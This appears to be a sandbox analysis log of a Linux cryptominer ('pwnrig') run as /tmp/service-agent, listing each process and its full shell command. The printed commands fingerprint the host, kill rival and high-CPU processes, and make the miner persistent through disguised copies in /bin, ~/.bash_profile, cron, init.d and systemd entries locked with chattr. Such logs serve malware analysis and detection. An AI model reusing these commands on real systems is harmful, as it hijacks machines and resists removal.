1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
PID:2346
- /bin/sh
  sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
  2⤵
  - Attempts to change immutable files
  PID:2347
- - /usr/bin/whoami
    whoami
    3⤵
    PID:2358
- - /usr/bin/hostname
    hostname
    3⤵
    PID:2359
- - /usr/bin/grep
    grep -c "^processor" /proc/cpuinfo
    3⤵
    - Checks CPU configuration
    PID:2360
- /bin/sh
  sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
  2⤵
  PID:2376
- - /usr/bin/awk
    awk "/[zZ]/ && !a[\$2]++ {print \$2}"
    3⤵
    PID:2378
- - /usr/bin/ps
    ps -A "-ostat,ppid"
    3⤵
    - Reads runtime system information
    PID:2377
- - /usr/bin/id
    id -u
    3⤵
    PID:2380
- - /usr/bin/grep
    grep -v grep
    3⤵
    PID:2383
- - /usr/bin/grep
    grep /etc/cron
    3⤵
    PID:2382
- - /usr/bin/ps
    ps x
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:2381
- /bin/sh
  sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"
  2⤵
  - Writes file to tmp directory
  PID:2385
- - /usr/bin/id
    id -u
    3⤵
    PID:2386
- - /usr/bin/id
    id -u
    3⤵
    PID:2387
- - /usr/bin/chattr
    chattr -i -a /bin/bprofr "~/.bash_profile"
    3⤵
    - Attempts to change immutable files
    PID:2388
- - /usr/bin/rm
    rm -rf /bin/bprofr
    3⤵
    PID:2389
- - /usr/bin/sed
    sed -i /bprofr/d "~/.bash_profile"
    3⤵
    - Attempts to change immutable files
    PID:2390
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/bprofr
    3⤵
    - Writes file to system bin folder
    PID:2391
- - /usr/bin/id
    id -u
    3⤵
    PID:2392
- - /usr/bin/chattr
    chattr +i +a /bin/bprofr "~/.bash_profile"
    3⤵
    - Attempts to change immutable files
    PID:2393
- - /usr/bin/mkdir
    mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly
    3⤵
    PID:2394
- - /usr/bin/chattr
    chattr -i -a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr
    3⤵
    PID:2395
- - /usr/bin/rm
    rm -rf /bin/crondr
    3⤵
    PID:2396
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/crondr
    3⤵
    - Writes file to system bin folder
    PID:2397
- - /usr/bin/tee
    tee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig
    3⤵
    - Creates/modifies Cron job
    PID:2399
- - /usr/bin/sed
    sed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig
    3⤵
    - Creates/modifies Cron job
    PID:2400
- - /usr/bin/chmod
    chmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr
    3⤵
    PID:2401
- - /usr/bin/chattr
    chattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr
    3⤵
    - Attempts to change immutable files
    PID:2402
- - /usr/bin/which
    which chkconfig
    3⤵
    PID:2403
- - /usr/sbin/update-rc.d
    update-rc.d -f pwnrig remove
    3⤵
    PID:2459
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:2460
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:2460
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:2460
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      Reads EFI boot settings
      Enumerates kernel/hardware configuration
      PID:2460
- - /usr/bin/rm
    rm -rf /bin/initdr
    3⤵
    PID:2486
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/initdr
    3⤵
    - Writes file to system bin folder
    PID:2487
- - /usr/bin/tee
    tee /etc/init.d/pwnrig
    3⤵
    - Modifies init.d
    PID:2489
- - /usr/bin/sed
    sed -i "1 s/-e //" /etc/init.d/pwnrig
    3⤵
    - Modifies init.d
    PID:2490
- - /usr/bin/chmod
    chmod +x /etc/init.d/pwnrig /bin/initdr
    3⤵
    PID:2491
- - /usr/sbin/update-rc.d
    update-rc.d pwnrig defaults
    3⤵
    PID:2492
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:2493
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:2493
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:2493
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:2493
- - /usr/sbin/update-rc.d
    update-rc.d pwnrig enable
    3⤵
    PID:2519
  - - /usr/local/sbin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:2520
  - - /usr/local/bin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:2520
  - - /usr/sbin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:2520
  - - /usr/bin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      Reads EFI boot settings
      PID:2520
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:2521
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:2521
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:2521
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      Reads EFI boot settings
      PID:2521
- - /usr/bin/chattr
    chattr +i +a /etc/init.d/pwnrig /bin/initdr
    3⤵
    PID:2547
- - /usr/bin/which
    which systemctl
    3⤵
    PID:2548
- - /usr/bin/chattr
    chattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
    3⤵
    PID:2549
- - /usr/bin/rm
    rm -rf /bin/sysdr
    3⤵
    PID:2550
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/sysdr
    3⤵
    - Writes file to system bin folder
    PID:2551
- - /usr/bin/tee
    tee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
    3⤵
    - Modifies systemd
    PID:2553
- - /usr/bin/sed
    sed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
    3⤵
    - Attempts to change immutable files
    PID:2554
- - /usr/bin/chattr
    chattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
    3⤵
    PID:2555
- - /usr/bin/systemctl
    systemctl enable pwnrige.service
    3⤵
    - Reads EFI boot settings
    PID:2556
- - /usr/bin/systemctl
    systemctl enable pwnrigl.service
    3⤵
    - Reads EFI boot settings
    PID:2582
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    - Reads EFI boot settings
    PID:2608
- - /usr/bin/systemctl
    systemctl reload-or-restart pwnrige.service
    3⤵
    - Reads EFI boot settings
    PID:2634

/usr/bin/hostname
hostname -I
1⤵
PID:2350

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:2352

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:2357

/usr/bin/head
head -n 1
1⤵
PID:2356

/usr/bin/grep
grep "Port "
1⤵
PID:2355

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:2354

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:2366

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:2365

/usr/bin/cut
cut -d: -f2
1⤵
PID:2364

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
- Checks CPU configuration
PID:2363

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:2369

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:2372

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:2375

/usr/local/sbin/systemctl
systemctl daemon-reload
1⤵
PID:2433

/usr/local/bin/systemctl
systemctl daemon-reload
1⤵
PID:2433

/usr/sbin/systemctl
systemctl daemon-reload
1⤵
PID:2433

/usr/bin/systemctl
systemctl daemon-reload
1⤵
- Reads EFI boot settings
PID:2433

/tmp/service-agent
/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d
1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:2691
- /bin/sh
  sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
  2⤵
  - Attempts to change immutable files
  PID:2715
- - /usr/bin/whoami
    whoami
    3⤵
    PID:2726
- - /usr/bin/hostname
    hostname
    3⤵
    PID:2727
- - /usr/bin/grep
    grep -c "^processor" /proc/cpuinfo
    3⤵
    PID:2728
- /bin/sh
  sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
  2⤵
  PID:2744
- - /usr/bin/awk
    awk "/[zZ]/ && !a[\$2]++ {print \$2}"
    3⤵
    PID:2746
- - /usr/bin/ps
    ps -A "-ostat,ppid"
    3⤵
    - Reads CPU attributes
    PID:2745
- - /usr/bin/id
    id -u
    3⤵
    PID:2748
- - /usr/bin/grep
    grep -v grep
    3⤵
    PID:2751
- - /usr/bin/grep
    grep /etc/cron
    3⤵
    PID:2750
- - /usr/bin/ps
    ps x
    3⤵
    - Reads runtime system information
    PID:2749
- /bin/sh
  sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
  2⤵
  PID:2753
- - /usr/bin/id
    id -u
    3⤵
    PID:2754
- - /usr/bin/awk
    awk "{if(\$3>30.0) print \$2}"
    3⤵
    PID:2759
- - /usr/bin/grep
    grep -v /usr/sbin/httpd
    3⤵
    PID:2758
- - /usr/bin/grep
    grep -v -- "-bash[[:space:]]*\$"
    3⤵
    PID:2757
- - /usr/bin/grep
    grep -v grep
    3⤵
    PID:2756
- - /usr/bin/ps
    ps aux
    3⤵
    PID:2755
- /bin/sh
  sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
  2⤵
  PID:2761
- - /usr/bin/id
    id -u
    3⤵
    PID:2762

/usr/bin/hostname
hostname -I
1⤵
PID:2718

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:2720

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:2725

/usr/bin/head
head -n 1
1⤵
PID:2724

/usr/bin/grep
grep "Port "
1⤵
PID:2723

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:2722

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:2734

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:2733

/usr/bin/cut
cut -d: -f2
1⤵
PID:2732

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
PID:2731

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:2737

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:2740

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:2743

/usr/bin/wc
wc -l
1⤵
PID:2768

/usr/bin/awk
awk "{if(\$3>30.0) print \$2}"
1⤵
PID:2767

/usr/bin/grep
grep -- "-bash[[:space:]]*\$"
1⤵
PID:2766

/usr/bin/grep
grep -v grep
1⤵
PID:2765

/usr/bin/ps
ps aux
1⤵
- Reads runtime system information
PID:2764

/usr/bin/hostname
hostname -I
1⤵
- Attempts to change immutable files
PID:2838

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:2840

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:2845

/usr/bin/head
head -n 1
1⤵
PID:2844

/usr/bin/grep
grep "Port "
1⤵
PID:2843

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:2842

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:2854

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:2853

/usr/bin/cut
cut -d: -f2
1⤵
PID:2852

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
- Checks CPU configuration
PID:2851

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:2857

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:2860

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:2863

/usr/local/sbin/systemctl
systemctl daemon-reload
1⤵
PID:2921

/usr/local/bin/systemctl
systemctl daemon-reload
1⤵
PID:2921

/usr/sbin/systemctl
systemctl daemon-reload
1⤵
PID:2921

/usr/bin/systemctl
systemctl daemon-reload
1⤵
- Reads EFI boot settings
PID:2921

/usr/bin/hostname
hostname -I
1⤵
PID:3223

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:3225

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:3230

/usr/bin/head
head -n 1
1⤵
PID:3229

/usr/bin/grep
grep "Port "
1⤵
PID:3228

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:3227

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:3239

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:3238

/usr/bin/cut
cut -d: -f2
1⤵
PID:3237

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
- Checks CPU configuration
PID:3236

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:3242

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:3245

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:3248

/usr/bin/wc
wc -l
1⤵
PID:3273

/usr/bin/awk
awk "{if(\$3>30.0) print \$2}"
1⤵
PID:3272

/usr/bin/grep
grep -- "-bash[[:space:]]*\$"
1⤵
PID:3271

/usr/bin/grep
grep -v grep
1⤵
PID:3270

/usr/bin/ps
ps aux
1⤵
- Reads runtime system information
PID:3269

/usr/bin/crontab
crontab -r
1⤵
PID:3416

/usr/bin/pkill
pkill -f .klibsystem5
1⤵
- Reads CPU attributes
- Reads runtime system information
PID:3417

/usr/bin/pkill
pkill -f .klibsystem4
1⤵
PID:3418

/usr/bin/bash
bash -c "echo \"* * * * * /home/.klibsystem5 >/dev/null 2>&1\" | crontab -"
1⤵
PID:3419
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:3421

/tmp/sys-helper
/tmp/sys-helper
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:3422

/tmp/service-agent
/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn
1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:3423
- /bin/sh
  sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
  2⤵
  PID:3424
- - /usr/bin/whoami
    whoami
    3⤵
    PID:3435
- - /usr/bin/hostname
    hostname
    3⤵
    PID:3436
- - /usr/bin/grep
    grep -c "^processor" /proc/cpuinfo
    3⤵
    - Checks CPU configuration
    PID:3437
- /bin/sh
  sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
  2⤵
  PID:3453
- - /usr/bin/awk
    awk "/[zZ]/ && !a[\$2]++ {print \$2}"
    3⤵
    PID:3455
- - /usr/bin/ps
    ps -A "-ostat,ppid"
    3⤵
    - Reads CPU attributes
    PID:3454
- - /usr/bin/id
    id -u
    3⤵
    PID:3457
- - /usr/bin/grep
    grep -v grep
    3⤵
    PID:3460
- - /usr/bin/grep
    grep /etc/cron
    3⤵
    PID:3459
- - /usr/bin/ps
    ps x
    3⤵
    PID:3458
